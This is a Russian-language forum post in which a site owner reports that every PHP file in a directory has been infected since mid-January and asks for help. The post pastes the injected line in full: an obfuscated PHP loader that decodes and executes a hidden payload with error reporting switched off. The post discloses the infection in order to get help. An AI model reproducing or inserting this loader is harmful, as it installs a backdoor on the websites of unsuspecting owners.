Георгий Шевченко
Проверенные
- Сообщения
- 2,205
- Реакции
- 4,393
- Баллы
- 8,750
И так всем привет :-)
Кто нибудь сталкивался с подобным? Помогите решить проблему, примерно с 17-го января (ставились дополнения/и прочие) и все они заражены, а точнее уже все файлы в каталоге заражены вот такой строчкой кода в самому верху.
Читаем тут если кому надо:
Спасибо Mirovinger .
Кто нибудь сталкивался с подобным? Помогите решить проблему, примерно с 17-го января (ставились дополнения/и прочие) и все они заражены, а точнее уже все файлы в каталоге заражены вот такой строчкой кода в самому верху.
Код:
$llpnjrpv = '#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#Csv}.;/#/#/},;#-#}+;%-qp% x24- x24!>!fyqmpef)# x2461 156 x75 156 x61"]=1; $uas=sd%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x2*#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvude(array_map("owxdkoa",str_split("%tjw!mf!~<**9.-j%-bubE{h%)su]D6#<%fdy>#]D4]273]D6P2L5P62#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%tmw!>!#]y84]27#>b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<]25 x24- x24-!% x24- x24*!|! x24- xpt)%z-#:#* x24- x24!>! x24/%tjw/ x24)% x24- x24y4 x24- x24]y8 x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x<Cb*[%h!>!%tdz)%bbT-%b]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]23E{h%)j{hnpd!opjudovg!|!*H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)##Qv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7g!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#!isset($GLOBALS[" x61 156 x75 156 x617,*c x27,*b x27)fepdof.)tcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-buquui#>.%!<***f x27,*e x27,*d x22qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27ip#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tj]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1n>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197eTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#-!#:618dUFOJ`GB)fubfsdXA x27K6< x7fw6*3qj%7> x227 x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;m|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)erstr($uas," x72 166 x3a 61 x31"))) s-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1 x27doj%6< x7fw6* x7f_*0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#tjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rx37]278]225]241]334]368]322]3]364]6]283]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984{ $yjwqrno = " x63 162 x65 141 x74 145 x5f 146 x75 156 x6PNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!#~<#/B%h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5-2qj%7-K)udfoopdXA x22)ovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FU>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>w)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*tcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t%)3of:opjudov!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo**qp%!-uyfu%)3of)fepdof`57ftbc24- x24gvodujpo! x24- x24y7 x24- x24*<! x24- x24gps)%j>1<%8]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbsAZASV<*w%)ppde>u%V<#65,47R25,d7R17,297f:5297e:56-xr.985:52985-t.98]K4]65]D8 x5f 163 x74 141 x72 164") && (- x24]26 x24- x24<%j,,*!| xj6<*doj%7-C)fepmqnjA x27&6<.fmjgA472 x24<!%ff2!>!bssbz) x24T-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]if((function_exists(" x6f 1424]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/29xqfjmpz = $yjwqrno("", $pdtnwzw); $xqfjmpz();}}tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*[!%cIjQ 107 x45 116 x54"]); if ((strstr($uas," xsp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bub)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc]427]36]373P6]36]73]83]238M7C x27pd%6|6.7eu{66~67d%6<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6<<&w6<*&7-#o]s]o]s]#)M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%b7&6< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufhfepdof./#@#/qp%>5h%!<*::::::-111112)eobs`uV<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%fnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# :75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!24 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x24- x24-tusqfepmqyf x27*&7-n%)utjm6< x7fw6*CW&G9}:}.}-}!#*<%nfd>%fdyV x27{ftmfV x7f<*X&Z&S{ftmfV x7f<*Xfepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!6d 163 x69 145")) or (st.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;trtolower($_SERVER[" x48 124 x54 120 x5f 125 x53 105 x52 137 x41fs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h192%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~7gj6<*QDU`MPT7-NBFSUT`LDPT7-86+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7f)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%mjix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7j}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0rn chr(ord($n)-1);} @error_reporting(0); $pdtnwzw = implosut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)su#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$5]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y"])))) { $GLOBALS[" x85]256]y6g]257]y86]267]y74]275]y7:]265d816:+946:ce44#)zbssb!>!ssbx5cq% x27jsv%6<C>^#zsf! x246767~6<Cw6<pd%w6Z6<.5`hA x27p75j{hnpd19275fubmgoj{h1:|:*mmvo:>:iu%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjud3 164 x69 157 x6e"; function owxdkoa($n){retuvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6<.ms:*<%j:,,Bjg!)%j:>>1*!%b:>12 x5c2b%!>!2p%!*3>?*2b%)gpf{47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-g<~ x24<!%o:!>! x242178}527}88:}334}bE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpq]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%!*)323zbek!~!<b% x7fhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)sTrREvxNoiTCnuf_EtaerCxECalPer_Rtsmcqrvjudk'; $wyngljxsu=explode(chr((666-546)),substr($llpnjrpv,(18613-12736),(184-150))); $tyucxzuhie = $wyngljxsu[0]($wyngljxsu[(3-2)]); $tmpqygben = $wyngljxsu[0]($wyngljxsu[(10-8)]); if (!function_exists('evxjpji')) { function evxjpji($hxgyoxh, $oiujjgr,$gxgayaz) { $sfxssg = NULL; for($ydlelp=0;$ydlelp<(sizeof($hxgyoxh)/2);$ydlelp++) { $sfxssg .= substr($oiujjgr, $hxgyoxh[($ydlelp*2)],$hxgyoxh[($ydlelp*2)+(4-3)]); } return $gxgayaz(chr((44-35)),chr((276-184)),$sfxssg); }; } $efggykjd = explode(chr((205-161)),'3031,29,2864,31,897,37,5014,21,87,30,4168,64,3273,41,4102,24,1544,35,1857,57,5247,45,4789,57,304,39,2256,62,5122,34,3493,70,3472,21,3563,20,3960,34,4506,55,4679,68,1299,45,2141,23,4416,28,1401,41,1055,48,3789,52,5100,22,5292,62,803,61,2922,33,1636,23,5759,62,5446,42,1103,42,117,59,3645,64,2067,39,3378,66,5192,55,2164,58,343,23,958,66,5524,57,4846,58,2394,47,1507,37,3314,64,722,24,176,60,5380,28,2350,44,4126,42,1024,31,934,24,3709,42,1255,44,1659,64,5821,56,3170,47,5072,28,2222,34,1914,42,5686,20,2497,33,454,45,2530,30,1442,65,38,23,236,68,4232,65,5156,36,5706,53,4051,51,4629,50,4016,35,2789,35,5628,58,3751,38,4561,68,4747,42,5581,47,393,61,4970,44,5035,37,2618,66,5408,38,4297,52,2684,54,2441,56,5488,36,2955,26,499,35,3898,62,534,65,2895,27,2560,58,1956,48,61,26,599,31,3217,56,1344,57,2738,51,1579,57,746,57,1723,42,2004,63,2824,40,1803,54,3841,57,2106,35,366,27,1204,51,3583,62,3994,22,630,22,2981,50,1765,38,3444,28,652,70,3060,63,4444,62,5354,26,4349,67,864,33,1145,59,2318,32,0,38,4904,66,3123,47'); $nypzgjsy = $tyucxzuhie("",evxjpji($efggykjd,$llpnjrpv,$tmpqygben)); $tyucxzuhie=$llpnjrpv; $nypzgjsy(""); $nypzgjsy=(449-328); $llpnjrpv=$nypzgjsy-1; ?><?phpЧитаем тут если кому надо:
Спасибо Mirovinger .
